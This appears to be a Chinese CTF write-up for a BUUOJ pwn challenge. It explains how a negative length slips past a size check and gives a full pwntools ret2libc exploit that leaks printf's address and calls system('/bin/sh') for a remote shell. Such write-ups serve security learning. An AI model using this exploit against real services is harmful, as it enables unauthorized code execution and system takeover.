共计 1110 个字符,预计需要花费 3 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-30 14:50,文中所关联的信息可能已发生改变,请知悉!
checksec

IDA



get_n函数会向指针(参数 1),存入一定长度(参数 2)的字符串。
vuln函数第 7 行,表示读入长度为 4 的字符串;
第 8 行表示将刚才读入的字符串转化为 int 型数字;
第 9 行的 if 条件限制了读入长度不能大于 32,而 nptr 指向的合法空间有 32,所以无法直接溢出,但是我们可以考虑输入负数,如下图所示:

这样我们的写入空间就足够用了。
下面就是 ret2libc 的问题,可以利用 printf 函数打印出 printf_got 的地址,用来计算偏移
libc文件可以利用 buuoj 给出的 https://files.buuoj.cn/files/85ee93d92fc553f78f195a133690eef3/libc-2.23.so
PS:很多师傅的 WP 都用了 LibcSearcher,但它现在可能用起来会有问题(实操无法解出该题),也没有直接用官方给出的 libc 方便
EXP
from pwn import *
# p = process('./pwn2')
p = remote('node4.buuoj.cn', 26336)
elf = ELF('./pwn2')
libc = ELF('./../libc/ubuntu16/32/libc-2.23.so')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.sym['main']
p.sendlineafter('read? ', '-999')
payload = b'a' * (0x2C + 0x4) + p32(printf_plt) + p32(main_addr) + p32(printf_got)
p.sendlineafter('data!\n', payload)
p.recvuntil('\n')
printf_addr = u32(p.recv(4))
print('printf_addr: ', hex(printf_addr))
libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'.encode()))
payload = b'a' * (0x2C + 0x4) + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
p.sendlineafter('read? ', '-999')
p.sendlineafter('data!\n', payload)
p.interactive()
结果

正文完